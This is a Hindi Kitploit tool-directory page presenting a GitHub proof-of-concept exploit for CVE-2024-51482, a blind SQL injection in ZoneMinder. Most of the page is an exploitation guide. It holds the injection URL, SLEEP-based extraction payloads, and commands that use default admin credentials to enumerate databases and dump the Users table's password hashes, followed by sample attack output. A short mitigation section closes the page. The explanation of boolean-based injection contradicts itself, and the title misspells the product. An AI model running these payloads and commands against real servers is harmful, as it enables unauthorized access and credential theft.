Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-51482 — ZenoMinder ब्लाइंड SQL इंजेक्शन PoC | Kitploit
उपकरण/GitHubGitHub/bridgeralderson/cve-2024-51482
पासवर्ड हमलेभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाडेटाबेस सुरक्षा
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder ब्लाइंड SQL इंजेक्शन PoC

रिपॉजिटरी देखें
8466 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन

विषय सूची

  • अवलोकन
  • भेद्यता विवरण
  • तकनीकी विश्लेषण
  • शोषण गाइड
  • स्थापना
  • उपयोग उदाहरण
  • शमन
  • संदर्भ

अवलोकन

CVE-2024-51482 ZoneMinder, एक लोकप्रिय ओपन-सोर्स सीसीटीवी निगरानी सॉफ्टवेयर, में खोजा गया एक गंभीर बूलियन-आधारित SQL इंजेक्शन भेद्यता है। यह दोष संस्करण 1.37.* से 1.37.64 तक प्रभावित करता है और कम विशेषाधिकार वाले प्रमाणित हमलावरों को अंतर्निहित डेटाबेस सर्वर पर मनमाना SQL कमांड निष्पादित करने की अनुमति देता है।

मीट्रिकमान
CVE IDCVE-2024-51482
CVSS स्कोर9.9 (गंभीर)
हमला वेक्टरनेटवर्क
आवश्यक विशेषाधिकारनिम्न
उपयोगकर्ता सहभागिताकोई नहीं
दायरापरिवर्तित
प्रभावगोपनीयता, अखंडता, उपलब्धता - उच्च
पैच किया गया संस्करण1.37.65

भेद्यता विवरण

प्रभावित संस्करण

  • असुरक्षित: ZoneMinder v1.37.0 से v1.37.64 तक।
  • पैच किया गया: ZoneMinder v1.37.65 और बाद के संस्करण।

मूल कारण

भेद्यता web/ajax/event.php फ़ाइल में removetag फ़ंक्शन में मौजूद है। पैरामीटर tid (टैग आईडी) को उचित स्वच्छता या पैरामीटरीकरण के बिना सीधे SQL क्वेरी में जोड़ा जाता है।

असुरक्षित कोड:

root@kitploit:~
case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE! 
    $rowCount = dbNumRows($sql); 
    // ...

फिक्स्ड कोड:

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query

हमला वेक्टर

असुरक्षित एंडपॉइंट को निम्नलिखित के माध्यम से ट्रिगर किया जा सकता है:

root@kitploit:~
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[इंजेक्शन_पॉइंट]

तकनीकी विश्लेषण

बूलियन-आधारित ब्लाइंड इंजेक्शन क्यों?

इंजेक्शन पॉइंट प्रतिक्रिया में सीधे क्वेरी परिणाम नहीं लौटाता है, जिससे पारंपरिक UNION-आधारित हमले असंभव हो जाते हैं। इसके बजाय, हमें बूलियन स्थितियों या समय विलंब के माध्यम से जानकारी का अनुमान लगाना चाहिए।

  • बूलियन-आधारित दृष्टिकोण:
    • सत्य स्थिति → सामान्य प्रतिक्रिया समय।
    • असत्य स्थिति → सामान्य प्रतिक्रिया समय।
    • एप्लिकेशन व्यवहार में देखने योग्य अंतर की आवश्यकता है।
  • समय-आधारित दृष्टिकोण (अधिक विश्वसनीय):
    • सत्य स्थिति → विलंबित प्रतिक्रिया (SLEEP)।
    • असत्य स्थिति → सामान्य प्रतिक्रिया समय।

शोषण तंत्र

हमारा शोषण SLEEP() फ़ंक्शन के साथ समय-आधारित निष्कर्षण का उपयोग करता है:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

जब यह स्थिति सत्य का मूल्यांकन करती है, तो डेटाबेस 2 सेकंड के लिए सो जाता है, HTTP प्रतिक्रिया में एक मापने योग्य विलंब पैदा करता है।

वर्ण निष्कर्षण प्रक्रिया

  • बाइनरी खोज: प्रत्येक वर्ण स्थिति के लिए, हम ASCII(SUBSTRING()) > MID का उपयोग करके श्रेणियों का परीक्षण करते हैं।
  • समय माप: यदि स्थिति सत्य है, तो SLEEP ट्रिगर होता है।
  • वर्ण पुनर्निर्माण: स्ट्रिंग को वर्ण दर वर्ण बनाएं।

स्थिति 1 पर वर्ण निकालने के लिए पेलोड उदाहरण:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

शोषण गाइड

पूर्वापेक्षाएँ

  • लक्ष्य ZoneMinder 1.37.0 - 1.37.64 चला रहा है।
  • मान्य क्रेडेंशियल (डिफ़ॉल्ट: admin/admin)।
  • ZoneMinder वेब इंटरफ़ेस तक नेटवर्क पहुंच।

स्थापना

root@kitploit:~
# रिपॉजिटरी को क्लोन करें
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# स्क्रिप्ट को निष्पादन योग्य बनाएं
chmod +x CVE-2024-51482.py

# आवश्यक निर्भरताएँ स्थापित करें
pip3 install requests

मूल उपयोग

root@kitploit:~
# जांचें कि लक्ष्य असुरक्षित है या नहीं
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --test

# सभी डेटाबेस खोजें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --discover

# किसी विशिष्ट डेटाबेस में तालिकाएँ सूचीबद्ध करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --tables zm

# किसी विशिष्ट तालिका में कॉलम सूचीबद्ध करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --columns zm Users

# विशिष्ट कॉलम से डेटा डंप करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --dump zm Users "Username,Password"

# उपयोगकर्ता तालिका डंप करें (डिफ़ॉल्ट)
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users

# विस्तृत निष्कर्षण प्रक्रिया के लिए डीबग आउटपुट सक्षम करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users --debug

# अधिक विश्वसनीय निष्कर्षण के लिए स्लीप समय समायोजित करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users --sleep 3

# रंगीन आउटपुट अक्षम करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users --no-color

उपयोग उदाहरण

उदाहरण 1: भेद्यता परीक्षण

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] लक्ष्य: 192.168.1.100
[*] 'admin' के रूप में 192.168.1.100 पर लॉगिन हो रहा है...
[+] लॉगिन सफल
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] बेसलाइन माध्यिका: 0.058s
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
[+] लक्ष्य असुरक्षित है!

उदाहरण 2: डेटाबेस गणना

root@kitploit:~
$ python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] लक्ष्य: <लक्ष्य-होस्ट>
[*] 'admin' के रूप में <लक्ष्य-होस्ट> पर लॉगिन हो रहा है...
[+] लॉगिन सफल
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] बेसलाइन माध्यिका: 0.065s
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
[+] लक्ष्य असुरक्षित है!
[*] डेटाबेस गिने जा रहे हैं...
[+] डेटाबेस मिला: information_schema
[+] डेटाबेस मिला: performance_schema
[+] डेटाबेस मिला: zm
[+] डेटाबेस मिले: 
1. information_schema 
2. performance_schema 
3. zm

उदाहरण 3: उपयोगकर्ता क्रेडेंशियल डंप करना

root@kitploit:~
$ python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder ब्लाइंड SQL इंजेक्शन शोषण
[*] लक्ष्य: <लक्ष्य-होस्ट>
[*] 'admin' के रूप में <लक्ष्य-होस्ट> पर लॉगिन हो रहा है...
[+] लॉगिन सफल
[*] बेसलाइन प्रतिक्रिया समय मापा जा रहा है...
[*] बेसलाइन माध्यिका: 0.062s
[*] 2s स्लीप के साथ भेद्यता का परीक्षण...
[+] लक्ष्य असुरक्षित है!
[*] zm डेटाबेस से Users तालिका डंप की जा रही है...
[*] 'zm.Users' में कॉलम गिने जा रहे हैं...
[+] कॉलम मिला: Id
[+] कॉलम मिला: Username
[+] कॉलम मिला: Password
[+] कॉलम मिला: Language
[+] कॉलम मिला: Enabled
[*] 'zm.Users' से डेटा डंप किया जा रहा है...
[+] पंक्ति 1: {'Username': 'admin', 'Password': '$2y$10$...हैश किया गया...'}
[+] पंक्ति 2: {'Username': 'operator', 'Password': '$2y$10$...हैश किया गया...'}
[+] निकाले गए उपयोगकर्ता: 2 
उपयोगकर्ता: admin 
पास: $2y$10$...हैश किया गया... 
ईमेल: admin@localhost 
सक्षम: 1 
उपयोगकर्ता: operator 
पास: $2y$10$...हैश किया गया... 
ईमेल: operator@localhost 
सक्षम: 1

उदाहरण 4: कस्टम डेटा निष्कर्षण

root@kitploit:~
# Events तालिका से विशिष्ट कॉलम डंप करें
python3 CVE-2024-51482.py -i <लक्ष्य-होस्ट> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

शोषण कैसे काम करता है

चरण-दर-चरण विवरण

  1. प्रमाणीकरण: स्क्रिप्ट पहले एक मान्य सत्र कुकी प्राप्त करने के लिए ZoneMinder में प्रमाणित होती है।
  2. बेसलाइन माप: औसत प्रतिक्रिया समय स्थापित करने के लिए 5 सामान्य अनुरोध भेजता है।
  3. भेद्यता पुष्टि: इंजेक्शन काम करता है यह सत्यापित करने के लिए SLEEP(2) पेलोड के साथ परीक्षण करता है।
  4. वर्ण निष्कर्षण: प्रत्येक वर्ण स्थिति के लिए, बाइनरी खोज ASCII मान निर्धारित करती है:
    • क्वेरी: ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .
    • यदि स्थिति सत्य → SLEEP ट्रिगर → प्रतिक्रिया विलंबित।
    • यदि स्थिति असत्य → तत्काल प्रतिक्रिया।
  5. स्ट्रिंग पुनर्निर्माण: पूर्ण स्ट्रिंग बनाने के लिए वर्णों को जोड़ा जाता है।

प्रमुख विशेषताएँ

  • बाइनरी सर्च एल्गोरिदम: प्रति वर्ण लॉग₂(९५) ≈ ७ अनुरोधों में वर्ण निकालता है।
  • अनुकूली समय: सटीक पहचान के लिए स्वचालित रूप से बेसलाइन को कैलिब्रेट करता है।
  • प्रगति संकेतक: वास्तविक समय निष्कर्षण प्रगति दिखाता है।
  • त्रुटि पुनर्प्राप्ति: कनेक्शन टाइमआउट को शालीनता से संभालता है।
  • डीबग मोड: विस्तृत वर्ण-दर-वर्ण निष्कर्षण दिखाता है।

शमन

तत्काल कार्रवाई

  • ZoneMinder को संस्करण 1.37.65 या बाद के संस्करण में अपडेट करें:
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • यदि पैचिंग संभव नहीं है, तो असुरक्षित स्क्रिप्ट तक पहुंच प्रतिबंधित करें:
    root@kitploit:~
    # Apache कॉन्फ़िगरेशन 
    Require ip 192.168.0.0/16
    
  • डेटाबेस खातों के लिए कम से कम विशेषाधिकार का सिद्धांत लागू करें।
  • संदिग्ध SQL इंजेक्शन प्रयासों के लिए लॉग की निगरानी करें:
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

दीर्घकालिक अनुशंसाएँ

  • सभी डेटाबेस इंटरैक्शन के लिए पैरामीटरीकृत क्वेरी का उपयोग करें।
  • वेब एप्लिकेशन फ़ायरवॉल (WAF) नियम लागू करें।
  • नियमित सुरक्षा ऑडिट और पेनिट्रेशन टेस्टिंग।
  • ZoneMinder और सभी निर्भरताओं को अद्यतित रखें।

संदर्भ

  • GitHub सुरक्षा सलाह - GHSA-qm8h-3xvf-m7j3
  • NVD प्रविष्टि - CVE-2024-51482
  • पैच कमिट
  • CISA भेद्यता संवर्धन
  • Tenable Nessus प्लगइन
  • चेक पॉइंट सलाह

अस्वीकरण

यह उपकरण केवल शैक्षिक और सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम का अनधिकृत परीक्षण अवैध है। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।

CVSS वेक्टर स्ट्रिंग

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

टूल डाउनलोड करें
मीट्रिकमान
हमला वेक्टरनेटवर्क
हमला जटिलतानिम्न
आवश्यक विशेषाधिकारनिम्न
उपयोगकर्ता सहभागिताकोई नहीं
दायरापरिवर्तित
गोपनीयताउच्च
अखंडताउच्च
उपलब्धताउच्च